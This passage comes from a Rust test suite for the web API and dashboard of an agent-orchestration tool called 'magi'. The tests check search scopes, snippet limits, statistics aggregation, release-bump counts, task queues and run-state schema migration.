15017 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
15018 assert!(hit_len(&parts) > 0, "{parts:?}");
15019 assert!(total(&parts) <= cap);
15020
15021 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
15023 let term = format!("ab{}", "c".repeat(100));
15024 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
15025 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
15026 assert!(total(&parts) <= cap);
15027
15028 let text = format!("{}z", "a".repeat(119));
15030 let parts = snippet_of(&text, &["a".repeat(120)]);
15031 assert_eq!(hit_len(&parts), 0, "{parts:?}");
15032 }
15033
15034 #[tokio::test]
15035 async fn search_caps_hits_and_snippet_length() {
15036 let f = Fixture::start().await;
15037 let runs = f.runs();
15038 for n in 0..(SEARCH_MAX_HITS + 5) {
15039 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
15040 }
15041 let v = f.get("/api/search?scope=runs&q=web").await.json();
15042 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
15043 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
15044 assert_eq!(v["truncated"], true);
15045 assert!(
15047 v["hits"]
15048 .as_array()
15049 .unwrap()
15050 .iter()
15051 .all(|h| h["run"]["status"] == "merged")
15052 );
15053
15054 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
15055 let parts = snippet_of(&long, &["needle".to_owned()]);
15056 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
15057 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
15058 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
15059 }
15060
15061 #[tokio::test]
15062 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
15063 let f = Fixture::start().await;
15064 let queue = f.queue();
15065 let mut t = Task::new(
15066 "short title".to_owned(),
15067 "line one\nthe hidden Armadillo detail".to_owned(),
15068 PathBuf::from("/repo/magi"),
15069 Source::Agent {
15070 run: "r1".to_owned(),
15071 node: "chat".to_owned(),
15072 },
15073 );
15074 t.last_error = Some("disk full on /tmp".to_owned());
15075 queue.put(&mut t).expect("file the task");
15076
15077 for (q, want) in [
15078 ("armadillo", 1),
15079 ("disk%20FULL", 1),
15080 ("chat", 1),
15081 ("queued", 1),
15082 ("short%20nothing", 0),
15083 ] {
15084 let v = f
15085 .get(&format!("/api/search?scope=tasks&q={q}"))
15086 .await
15087 .json();
15088 assert_eq!(v["total"], want, "{q}: {v}");
15089 }
15090 for bad in [
15091 "/api/search?scope=tasks&q=",
15092 "/api/search?scope=tasks&q=%20",
15093 "/api/search?scope=chats&q=",
15094 "/api/search?scope=chats&q=%20",
15095 "/api/search?scope=nope&q=a",
15096 "/api/search?q=a",
15097 ] {
15098 assert_eq!(f.get(bad).await.status, 400, "{bad}");
15099 }
15100 }
15101
15102 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
15104 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
15105 .expect("seat value");
15106 let turns: Vec<serde_json::Value> = turns
15107 .iter()
15108 .map(|(who, body)| {
15109 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
15110 })
15111 .collect();
15112 let doc = serde_json::json!({
15113 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
15114 "status": status, "turns": turns,
15115 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
15116 "seat": seat,
15117 });
15118 let dir = f.home.path().join("talks");
15119 std::fs::create_dir_all(&dir).expect("talks dir");
15120 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
15121 }
15122
15123 #[tokio::test]
15124 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
15125 let f = Fixture::start().await;
15126 write_talk(
15127 &f,
15128 "20260901-000001-aaaa",
15129 "open",
15130 &[
15131 (
15132 "operator",
15133 "\n Why does the Pangolin cache expire?\nsecond line",
15134 ),
15135 ("agent", "Because the TTL is thirty seconds."),
15136 ],
15137 );
15138 write_talk(
15139 &f,
15140 "20260901-000002-bbbb",
15141 "closed",
15142 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
15143 );
15144 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
15145
15146 let search = |q: &'static str| {
15147 let f = &f;
15148 async move {
15149 f.get(&format!("/api/search?scope=chats&q={q}"))
15150 .await
15151 .json()
15152 }
15153 };
15154
15155 let v = search("PANGOLIN").await;
15156 assert_eq!(v["scope"], "chats");
15157 assert_eq!(v["total"], 1, "{v}");
15158 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
15159 assert_eq!(v["hits"][0]["field"], "title");
15160 assert_eq!(v["unreadable"], 1, "{v}");
15161 let marked: Vec<&str> = v["hits"][0]["snippet"]
15162 .as_array()
15163 .unwrap()
15164 .iter()
15165 .filter(|p| p["hit"] == true)
15166 .map(|p| p["text"].as_str().unwrap())
15167 .collect();
15168 assert_eq!(marked, ["Pangolin"]);
15169
15170 let v = search("zebra").await;
15172 assert_eq!(v["total"], 1, "{v}");
15173 assert_eq!(v["hits"][0]["field"], "agent");
15174 assert_eq!(search("pangolin%20thirty").await["total"], 1);
15176 assert_eq!(search("pangolin%20zebra").await["total"], 0);
15177 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
15179 assert_eq!(search(q).await["total"], 0, "{q}");
15180 }
15181 assert_eq!(search("second").await["hits"][0]["field"], "operator");
15183 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
15185
15186 let v = f.get("/api/search?scope=nope&q=a").await;
15187 assert_eq!(v.status, 400);
15188 assert!(
15189 v.body.contains("scope must be runs, tasks or chats"),
15190 "{}",
15191 v.body
15192 );
15193 }
15194
15195 #[test]
15196 fn a_question_card_links_a_task_id_to_the_task_page() {
15197 let start = APP_JS
15198 .find("function updateAskCard(")
15199 .expect("updateAskCard exists");
15200 let body = &APP_JS[start..];
15201 let body = &body[..body.find("\n}\n").expect("function end")];
15202 assert!(body.contains("question.run_is_task"));
15203 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
15204 assert!(body.contains("`#/runs/${question.run}`"));
15205 assert!(body.contains("\"task\" : \"run\""));
15206 }
15207
15208 #[test]
15209 fn plain_text_message_surfaces_go_through_linkify() {
15210 assert!(APP_JS.contains("function linkify("));
15211 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
15212 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
15213 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
15214 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
15215 assert!(!APP_JS.contains("innerHTML = text"));
15216 }
15217
15218 #[test]
15219 fn implementation_rate_views_keep_independent_samples() {
15220 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
15221 let a = stats::AgentStats {
15222 competitive_entered: competitive_n,
15223 competitive_wins: usize::from(competitive_n > 0),
15224 solo_entered: solo_n,
15225 solo_adopted: 2 * usize::from(solo_n > 0),
15226 ..Default::default()
15227 };
15228 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
15229 for (key, n, numerator) in [
15230 ("competitive_win_rate", competitive_n, a.competitive_wins),
15231 ("solo_adoption_rate", solo_n, a.solo_adopted),
15232 ] {
15233 if n == 0 {
15234 assert!(v[key].is_null());
15235 } else {
15236 assert_eq!(v[key]["denominator"], n);
15237 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
15238 }
15239 }
15240 }
15241 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
15242 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
15243 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
15244 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
15245 }
15246
15247 #[test]
15248 fn stats_bars_share_one_id_keyed_plan() {
15249 let start = APP_JS
15250 .find("function statsBarRows(")
15251 .expect("statsBarRows exists");
15252 let body = &APP_JS[start..];
15253 let body = &body[..body.find("\n}\n").expect("function end")];
15254 assert!(body.contains("statsBarPlan(rows)"));
15255 assert!(body.contains("statsAgentTone(row.agent)"));
15256 assert!(!body.contains("candTone(i)"));
15257 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
15258 for root in [
15259 "stats-agents-bars",
15260 "stats-solo-bars",
15261 "stats-reviewers-bars",
15262 ] {
15263 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
15264 }
15265 }
15266
15267 #[test]
15268 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
15269 let start = APP_JS
15270 .find("function renderStatsReviewerScatter(")
15271 .expect("renderStatsReviewerScatter exists");
15272 let body = &APP_JS[start..];
15273 let body = &body[..body.find("\n}\n").expect("function end")];
15274 assert!(body.contains("statsScatterPlan(reviewers)"));
15275 assert!(body.contains("statsAgentTone(d.agent)"));
15276 assert!(APP_JS.contains("function statsScatterPlan("));
15277 assert!(
15278 APP_JS.contains("d.submitted < STATS_LOW_N")
15279 || APP_JS.contains("r.submitted < STATS_LOW_N")
15280 );
15281 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
15282 assert!(APP_CSS.contains(".precision-scatter"));
15283 }
15284
15285 #[test]
15286 fn advisor_reflection_is_drawn_as_stacked_segments() {
15287 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
15288 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
15289 let html = include_str!("../assets/ui/index.html");
15290 assert!(html.contains("Approximate"));
15291 for label in ["reflected strongly", "faint", "no proposal"] {
15292 assert!(html.contains(label));
15293 }
15294 let css = include_str!("../assets/ui/app.css");
15295 for c in ["refl-strong", "refl-faint", "refl-absent"] {
15296 assert!(css.contains(&format!(".{c} {{")));
15297 }
15298 }
15299
15300 #[test]
15301 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
15302 assert!(APP_JS.contains("function statsDailyPlan("));
15303 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
15304 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
15305 }
15306
15307 #[test]
15308 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
15309 let start = APP_JS
15310 .find("function scheduleSearch(")
15311 .expect("scheduleSearch exists");
15312 let body = &APP_JS[start..];
15313 let body = &body[..body.find("\n}\n").expect("function end")];
15314 assert!(body.contains("s.seq += 1"));
15315 }
15316
15317 #[tokio::test]
15322 async fn stats_runs_unreadable_matches_health() {
15323 let f = Fixture::start().await;
15324 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
15325 let broken = f.runs().join("20260902-140502-bad");
15326 std::fs::create_dir_all(&broken).expect("run dir");
15327 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
15328
15329 let stats = f.get("/api/stats").await;
15330 let health = f.get("/api/health").await;
15331
15332 assert_eq!(stats.status, 200);
15333 assert_eq!(stats.json()["totals"]["runs"], 1);
15334 assert_eq!(stats.json()["runs_unreadable"], 1);
15335 assert_eq!(
15336 stats.json()["runs_unreadable"],
15337 health.json()["runs_unreadable"],
15338 "the dashboard and /api/health must never disagree about how many \
15339 runs could not be read"
15340 );
15341 }
15342
15343 #[tokio::test]
15344 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
15345 let f = Fixture::start().await;
15346 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
15347 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
15348 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
15349
15350 let totals = &f.get("/api/stats").await.json()["totals"];
15351 assert_eq!(totals["runs"], 3);
15352 assert_eq!(totals["merged"], 1);
15353 assert_eq!(totals["stalled"], 1);
15354 assert_eq!(totals["in_progress"], 1);
15355 assert_eq!(totals["blocked"], 0);
15358 assert_eq!(totals["ready"], 0);
15359 }
15360
15361 #[tokio::test]
15362 async fn stats_advisors_report_proposals_and_reflection() {
15363 use crate::advise::{Advice, AdvisorRecord, Reflection};
15364 use crate::verdict::Proposal;
15365
15366 let f = Fixture::start().await;
15367 let mut state = RunState::new(
15368 PathBuf::from("/repo/magi"),
15369 "main".to_owned(),
15370 "0123456789abcdef".to_owned(),
15371 "task".to_owned(),
15372 Config::default(),
15373 );
15374 state.id = "20260902-140501-a".to_owned();
15375 state.status = RunStatus::Merged;
15376 state.advice = Some(Advice {
15377 records: vec![
15378 AdvisorRecord {
15379 seat: "advisor-1".to_owned(),
15380 agent: "alpha".to_owned(),
15381 proposal: Some(Proposal {
15382 approach: "do it".to_owned(),
15383 key_tradeoff: "speed over memory".to_owned(),
15384 risks: Vec::new(),
15385 touches: Vec::new(),
15386 why_not_naive: "breaks under load".to_owned(),
15387 }),
15388 error: None,
15389 duration_ms: 0,
15390 reflection: Reflection::Strong,
15391 },
15392 AdvisorRecord {
15393 seat: "advisor-2".to_owned(),
15394 agent: "alpha".to_owned(),
15395 proposal: None,
15396 error: Some("timed out".to_owned()),
15397 duration_ms: 0,
15398 reflection: Reflection::Absent,
15399 },
15400 ],
15401 synthesis: Some("blended brief".to_owned()),
15402 });
15403 let dir = f.runs().join(&state.id);
15404 std::fs::create_dir_all(&dir).expect("run dir");
15405 std::fs::write(
15406 dir.join("run.json"),
15407 serde_json::to_string_pretty(&state).expect("serialize run"),
15408 )
15409 .expect("write run.json");
15410
15411 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
15413 let alpha = advisors
15414 .as_array()
15415 .expect("an array")
15416 .iter()
15417 .find(|a| a["agent"] == "alpha")
15418 .expect("alpha row");
15419 assert_eq!(alpha["seated"], 2);
15420 assert_eq!(alpha["proposed"], 1);
15421 assert_eq!(alpha["absent"], 1);
15422 assert_eq!(alpha["strong"], 1);
15423 assert_eq!(alpha["faint"], 0);
15424 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
15425 }
15426
15427 #[tokio::test]
15428 async fn stats_hides_agents_outside_the_roster_unless_all() {
15429 use crate::run::Candidate;
15430 let repo = TempDir::new().expect("repo dir");
15431 std::fs::write(
15432 repo.path().join("magi.toml"),
15433 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
15434 )
15435 .expect("magi.toml");
15436 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
15437 let mut state = RunState::new(
15438 PathBuf::from("/repo/magi"),
15439 "main".to_owned(),
15440 "0123456789abcdef".to_owned(),
15441 "task".to_owned(),
15442 Config::default(),
15443 );
15444 state.id = "20260902-140501-a".to_owned();
15445 state.status = RunStatus::Merged;
15446 for (label, agent) in [('A', "keep"), ('B', "retired")] {
15447 let mut c: Candidate = serde_json::from_value(serde_json::json!({
15448 "index": 0, "label": label.to_string(), "agent": agent,
15449 "branch": "b", "worktree": "/w",
15450 }))
15451 .expect("candidate");
15452 c.label = label;
15453 state.candidates.push(c);
15454 }
15455 let dir = f.runs().join(&state.id);
15456 std::fs::create_dir_all(&dir).expect("run dir");
15457 std::fs::write(
15458 dir.join("run.json"),
15459 serde_json::to_string_pretty(&state).expect("serialize run"),
15460 )
15461 .expect("write run.json");
15462
15463 let agents_of = |v: &serde_json::Value| -> Vec<String> {
15464 v["agents"]
15465 .as_array()
15466 .expect("array")
15467 .iter()
15468 .map(|a| a["agent"].as_str().unwrap().to_owned())
15469 .collect()
15470 };
15471 let hidden = f.get("/api/stats").await.json();
15472 assert_eq!(agents_of(&hidden), ["keep"]);
15473 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
15474 assert_eq!(hidden["totals"]["runs"], 1);
15475
15476 let all = f.get("/api/stats?all=true").await.json();
15477 assert_eq!(agents_of(&all).len(), 2);
15478 assert_eq!(all["retired_hidden"], serde_json::json!([]));
15479 let keep_agent = all["agents"]
15481 .as_array()
15482 .unwrap()
15483 .iter()
15484 .find(|a| a["agent"] == "keep")
15485 .unwrap();
15486 assert_eq!(keep_agent["competitive_entered"], 1);
15487 assert_eq!(keep_agent["competitive_wins"], 0);
15488 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
15489 assert_eq!(keep_agent["solo_entered"], 0);
15490 assert_eq!(keep_agent["solo_adopted"], 0);
15491 assert!(keep_agent["solo_adoption_rate"].is_null());
15492 }
15493
15494 #[tokio::test]
15495 async fn stats_release_bumps_split_clean_from_attention() {
15496 use crate::run::ReleaseBump;
15497
15498 let f = Fixture::start().await;
15499
15500 let mut clean = RunState::new(
15501 PathBuf::from("/repo/magi"),
15502 "main".to_owned(),
15503 "0123456789abcdef".to_owned(),
15504 "task".to_owned(),
15505 Config::default(),
15506 );
15507 clean.id = "20260902-140501-a".to_owned();
15508 clean.status = RunStatus::Merged;
15509 clean.release_bump = Some(ReleaseBump {
15510 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
15511 version: Some("1.0.0".to_owned()),
15512 automerge_enabled: true,
15513 merged_directly: false,
15514 local: false,
15515 release: None,
15516 problem: None,
15517 action_required: None,
15518 });
15519
15520 let mut blocked = RunState::new(
15521 PathBuf::from("/repo/magi"),
15522 "main".to_owned(),
15523 "0123456789abcdef".to_owned(),
15524 "task".to_owned(),
15525 Config::default(),
15526 );
15527 blocked.id = "20260902-140502-b".to_owned();
15528 blocked.status = RunStatus::Merged;
15529 blocked.release_bump = Some(ReleaseBump {
15530 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
15531 version: Some("1.0.1".to_owned()),
15532 automerge_enabled: false,
15533 merged_directly: false,
15534 local: false,
15535 release: None,
15536 problem: Some("checks red".to_owned()),
15537 action_required: Some("look at the PR".to_owned()),
15538 });
15539
15540 for state in [&clean, &blocked] {
15541 let dir = f.runs().join(&state.id);
15542 std::fs::create_dir_all(&dir).expect("run dir");
15543 std::fs::write(
15544 dir.join("run.json"),
15545 serde_json::to_string_pretty(state).expect("serialize run"),
15546 )
15547 .expect("write run.json");
15548 }
15549
15550 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
15551 assert_eq!(bumps["merged"], 2);
15552 assert_eq!(bumps["recorded"], 2);
15553 assert_eq!(bumps["pr_opened"], 2);
15554 assert_eq!(bumps["automerge_enabled"], 1);
15555 assert_eq!(bumps["needs_attention"], 1);
15556 assert_eq!(bumps["clean"], 1);
15557 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
15558 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
15559 }
15560
15561 #[tokio::test]
15562 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
15563 let f = Fixture::start().await;
15564 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
15565
15566 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
15567 assert_eq!(bumps["merged"], 1);
15568 assert_eq!(bumps["recorded"], 0);
15569 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
15572 assert_eq!(bumps["automerge_rate"], Value::Null);
15575 assert_eq!(bumps["attention_rate"], Value::Null);
15576 }
15577
15578 #[tokio::test]
15579 async fn stats_queue_counts_come_from_the_live_queue() {
15580 let f = Fixture::start().await;
15581 let q = f.queue();
15582 let mut queued = Task::new(
15583 "queued task".to_owned(),
15584 "do it".to_owned(),
15585 PathBuf::from("/repo"),
15586 Source::Human,
15587 );
15588 q.put(&mut queued).expect("put queued");
15589 let mut held = Task::new(
15590 "held task".to_owned(),
15591 "do it later".to_owned(),
15592 PathBuf::from("/repo"),
15593 Source::Human,
15594 );
15595 held.hold_machine(Some("out of attempts".to_owned()));
15596 q.put(&mut held).expect("put held");
15597
15598 let queue = f.get("/api/stats").await.json()["queue"].clone();
15599 assert_eq!(queue["queued"], 1);
15600 assert_eq!(queue["held"], 1);
15601 assert_eq!(queue["running"], 0);
15602 assert_eq!(queue["done"], 0);
15603 assert_eq!(queue["failed"], 0);
15604 assert_eq!(queue["blocked"], 0);
15605 }
15606
15607 #[tokio::test]
15608 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
15609 let f = Fixture::start().await;
15610 let stats = f.get("/api/stats").await;
15611 assert_eq!(stats.status, 200);
15612 assert_eq!(stats.json()["totals"]["runs"], 0);
15613 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
15614 assert_eq!(stats.json()["runs_unreadable"], 0);
15615 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
15616 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
15617 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
15618 assert_eq!(stats.json()["repo"], Value::Null);
15619 }
15620
15621 #[tokio::test]
15622 async fn stats_lists_every_repository_with_runs_recorded() {
15623 let f = Fixture::start().await;
15624 write_run_repo(
15625 &f.runs(),
15626 "20260902-140501-a",
15627 RunStatus::Merged,
15628 "/repos/a",
15629 );
15630 write_run_repo(
15631 &f.runs(),
15632 "20260902-140502-b",
15633 RunStatus::Merged,
15634 "/repos/a",
15635 );
15636 write_run_repo(
15637 &f.runs(),
15638 "20260902-140503-c",
15639 RunStatus::Blocked,
15640 "/repos/b",
15641 );
15642
15643 let stats = f.get("/api/stats").await;
15644 assert_eq!(stats.status, 200);
15645 assert_eq!(stats.json()["totals"]["runs"], 3);
15647 assert_eq!(stats.json()["repo"], Value::Null);
15648
15649 let repos = stats.json()["repos"].clone();
15650 let repos = repos.as_array().unwrap();
15651 assert_eq!(repos.len(), 2);
15652 assert_eq!(repos[0]["repo"], "/repos/a");
15654 assert_eq!(repos[0]["name"], "a");
15655 assert_eq!(repos[0]["runs"], 2);
15656 assert_eq!(repos[1]["repo"], "/repos/b");
15657 assert_eq!(repos[1]["runs"], 1);
15658 }
15659
15660 #[tokio::test]
15661 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
15662 let f = Fixture::start().await;
15663 write_run_repo(
15664 &f.runs(),
15665 "20260902-140501-a",
15666 RunStatus::Merged,
15667 "/repos/a",
15668 );
15669 write_run_repo(
15670 &f.runs(),
15671 "20260902-140502-b",
15672 RunStatus::Blocked,
15673 "/repos/b",
15674 );
15675
15676 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
15677 assert_eq!(stats.status, 200);
15678 assert_eq!(stats.json()["totals"]["runs"], 1);
15679 assert_eq!(stats.json()["totals"]["merged"], 1);
15680 assert_eq!(stats.json()["repo"], "/repos/a");
15681 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
15684 assert_eq!(stats.json()["runs_unreadable"], 0);
15687 }
15688
15689 #[tokio::test]
15690 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
15691 let f = Fixture::start().await;
15692 write_run_repo(
15693 &f.runs(),
15694 "20260902-140501-a",
15695 RunStatus::Merged,
15696 "/repos/a",
15697 );
15698 write_run_repo(
15699 &f.runs(),
15700 "20260902-140502-b",
15701 RunStatus::Merged,
15702 "/repos/b",
15703 );
15704
15705 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
15706 let json = f.get(uri).await.json();
15707 let daily = json["daily"].as_array().expect("daily is an array");
15708 assert_eq!(daily.len(), 30);
15709 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
15710 let mut sorted = dates.clone();
15711 sorted.sort();
15712 assert_eq!(dates, sorted);
15713 for d in daily {
15714 assert_eq!(
15715 d["merged"].as_u64().unwrap()
15716 + d["ready"].as_u64().unwrap()
15717 + d["other"].as_u64().unwrap(),
15718 d["runs"].as_u64().unwrap()
15719 );
15720 }
15721 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
15722 }
15723 }
15724
15725 #[tokio::test]
15726 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
15727 let f = Fixture::start().await;
15728 write_run_repo(
15729 &f.runs(),
15730 "20260902-140501-a",
15731 RunStatus::Merged,
15732 "/repos/a",
15733 );
15734
15735 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
15736 assert_eq!(stats.status, 404);
15737 }
15738
15739 #[tokio::test]
15740 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
15741 let f = Fixture::start().await;
15742 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
15743
15744 let summary = f.get("/api/runs").await.json();
15745 let row = &summary[0];
15746 assert_eq!(row["short"], "a1b2");
15747 assert_eq!(row["status"], "ready");
15748 assert_eq!(row["done"], true);
15749 assert_eq!(row["title"], "Add a web UI");
15750 assert_eq!(row["repo_name"], "magi");
15751 assert_eq!(row["judges"], 3);
15752 assert_eq!(row["winner"], Value::Null);
15753 assert_eq!(row["reviews"], 0);
15754
15755 let detail = f.get("/api/runs/a1b2").await;
15758 assert_eq!(detail.status, 200);
15759 assert_eq!(detail.json()["base_branch"], "main");
15760 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
15761 }
15762
15763 #[tokio::test]
15771 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
15772 let f = Fixture::start().await;
15773
15774 let mut none_run = RunState::new(
15775 PathBuf::from("/repo/magi"),
15776 "main".to_owned(),
15777 "0123456789abcdef".to_owned(),
15778 "Add a web UI".to_owned(),
15779 Config::default(),
15780 );
15781 none_run.id = "20260902-140503-none".to_owned();
15782 none_run.status = RunStatus::Ready;
15783 none_run.merge = Some(crate::run::MergeOutcome {
15784 mode: crate::config::MergeMode::None,
15785 ok: true,
15786 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
15787 empty: false,
15788 });
15789 write_state(&f.runs(), &none_run);
15790
15791 let mut pr_run = RunState::new(
15792 PathBuf::from("/repo/magi"),
15793 "main".to_owned(),
15794 "0123456789abcdef".to_owned(),
15795 "Add a web UI".to_owned(),
15796 Config::default(),
15797 );
15798 pr_run.id = "20260902-140504-prcl".to_owned();
15799 pr_run.status = RunStatus::Ready;
15800 pr_run.merge = Some(crate::run::MergeOutcome {
15801 mode: crate::config::MergeMode::Pr,
15802 ok: false,
15803 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
15804 empty: false,
15805 });
15806 write_state(&f.runs(), &pr_run);
15807
15808 let summary = f.get("/api/runs").await.json();
15809 let rows: std::collections::HashMap<&str, &Value> = summary
15810 .as_array()
15811 .expect("an array")
15812 .iter()
15813 .map(|r| (r["id"].as_str().expect("an id"), r))
15814 .collect();
15815 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
15816 assert_eq!(
15817 rows[none_run.id.as_str()]["unmerged_by_design"],
15818 true,
15819 "a mode-none Ready must be flagged in the list"
15820 );
15821 assert_eq!(
15822 rows[pr_run.id.as_str()]["unmerged_by_design"],
15823 false,
15824 "a Ready reached by a closed pull request is a different case"
15825 );
15826
15827 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
15828 assert_eq!(none_detail["status"], "ready");
15829 assert_eq!(none_detail["unmerged_by_design"], true);
15830
15831 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
15832 assert_eq!(pr_detail["unmerged_by_design"], false);
15833 }
15834
15835 #[tokio::test]
15840 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
15841 let f = Fixture::start().await;
15842 let id = "20260902-140502-bbbb";
15846 let mut state = RunState::new(
15847 PathBuf::from("/repo/magi"),
15848 "main".to_owned(),
15849 "0123456789abcdef".to_owned(),
15850 "Add a web UI".to_owned(),
15851 Config::default(),
15852 );
15853 state.id = id.to_owned();
15854 state.status = RunStatus::Judging;
15855 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
15856 let dir = f.runs().join(id);
15857 std::fs::create_dir_all(&dir).expect("run dir");
15858 std::fs::write(
15859 dir.join("run.json"),
15860 serde_json::to_string_pretty(&state).expect("serialize run"),
15861 )
15862 .expect("write run.json");
15863
15864 let cold = f.get(&format!("/api/runs/{id}")).await.json();
15870 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
15871 assert_eq!(cold["live"], "unknown", "{cold}");
15872
15873 write_daemon(f.home.path(), Timestamp::now());
15876 let warm = f.get(&format!("/api/runs/{id}")).await.json();
15877 assert_eq!(warm["live"], "live", "{warm}");
15878 }
15879
15880 #[test]
15881 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
15882 let home = tempfile::tempdir().expect("temp home");
15883 let runs = home.path().join("runs");
15884 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
15885 let mut state = RunState::new(
15886 PathBuf::from("/repo/magi"),
15887 "main".to_owned(),
15888 "0123456789abcdef".to_owned(),
15889 "Generated review context, not authored task criteria".to_owned(),
15890 Config::default(),
15891 );
15892 state.origin = origin;
15893 state.status = RunStatus::Blocked;
15894 state.driver_exited = false;
15896 state.gate_ran = true;
15897 let expected = serde_json::to_value(&state).expect("serialize current state");
15898 let mut legacy = expected.clone();
15899 legacy["schema"] = serde_json::json!(13);
15900 legacy.as_object_mut().unwrap().remove("task_instruction");
15901 let dir = runs.join(&state.id);
15902 std::fs::create_dir_all(&dir).expect("run dir");
15903 let path = dir.join("run.json");
15904 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
15905 std::fs::write(&path, &body).expect("write legacy run");
15906
15907 for loaded in [
15908 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
15909 read_run(&runs, &state.id).expect("web migration"),
15910 ] {
15911 assert_eq!(loaded.schema, crate::run::SCHEMA);
15912 assert!(loaded.task_instruction.is_none());
15913 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
15914 }
15915 assert_eq!(runs_unreadable(&runs), 0);
15916 assert_eq!(std::fs::read(&path).unwrap(), body);
15917 }
15918 }
15919
15920 #[tokio::test]
15923 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
15924 let f = Fixture::start().await;
